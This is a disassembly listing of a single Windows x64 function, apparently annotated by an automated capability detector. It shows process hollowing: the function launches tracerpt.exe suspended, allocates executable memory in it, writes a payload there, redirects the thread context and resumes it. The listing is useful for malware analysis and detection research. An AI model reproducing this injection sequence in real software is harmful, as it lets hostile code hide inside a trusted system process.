Function at 0x140001159
Capabilities:
Get common file path
Use process replacement

Disassembly:
jmp 0x14001e7a0
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x710
mov rdi, rsp
mov ecx, 0x1c4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x720]
mov rax, qword [0x1400c53c0]
xor rax, rsp
mov qword [rsp + 0x700], rax
mov dword [rsp + 0x60], 0
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0xf8]
mov rdi, rax
xor eax, eax
mov ecx, 0x4c8
rep stosb byte [rdi], al
mov dword [rsp + 0x5c4], 0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140029760
mov r8d, 0x18
xor edx, edx
mov rcx, qword [rsp + 0x730]
call fcn.140029760
mov r8d, 0x4d0
xor edx, edx
lea rcx, [rsp + 0xf0]
call fcn.140029760
mov dword [rsp + 0x60], WSAGetLastError
mov dword [rsp + 0x9c], 1
xor eax, eax
mov word [rsp + 0xa0], ax
mov byte [rsp + 0x5e0], 0
lea rax, [rsp + 0x5e1]
mov rdi, rax
xor eax, eax
mov ecx, 0xfe
rep stosb byte [rdi], al
mov edx, 0xff
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [rsp + 0x5e3], 0
lea r9, str.WindowsSystem32_tracerpt.exe
lea r8, [rsp + 0x5e0]
lea rdx, str._s_s
lea rcx, [rsp + 0x5e0]
call fcn.1400010a0
mov rax, qword [rsp + 0x730]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x5c4], eax
cmp dword [rsp + 0x5c4], 0
jne 0x14001e93d
xor eax, eax
jmp 0x14001ea5e
movsxd rax, dword [rsp + 0x728]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rax, qword [rsp + 0x730]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x6e8], rax
cmp qword [rsp + 0x6e8], 0
jne 0x14001e983
xor eax, eax
jmp 0x14001ea5e
movsxd rax, dword [rsp + 0x728]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x720]
mov rdx, qword [rsp + 0x6e8]
mov rax, qword [rsp + 0x730]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001e9c3
xor eax, eax
jmp 0x14001ea5e
mov dword [rsp + 0x6f0], 0
mov dword [rsp + 0x120], 0x10000b
lea rdx, [rsp + 0xf0]
mov rax, qword [rsp + 0x730]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x5c4], eax
cmp dword [rsp + 0x5c4], 0
jne 0x14001ea08
xor eax, eax
jmp 0x14001ea5e
mov rax, qword [rsp + 0x6e8]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0xf0]
mov rax, qword [rsp + 0x730]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [rsp + 0x5c4], eax
cmp dword [rsp + 0x5c4], 0
jne 0x14001ea47
xor eax, eax
jmp 0x14001ea5e
mov rax, qword [rsp + 0x730]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.1400290a0
mov rax, rdi
mov rcx, qword [rsp + 0x700]
xor rcx, rsp
call fcn.14002a4b0
add rsp, 0x710
pop rdi
ret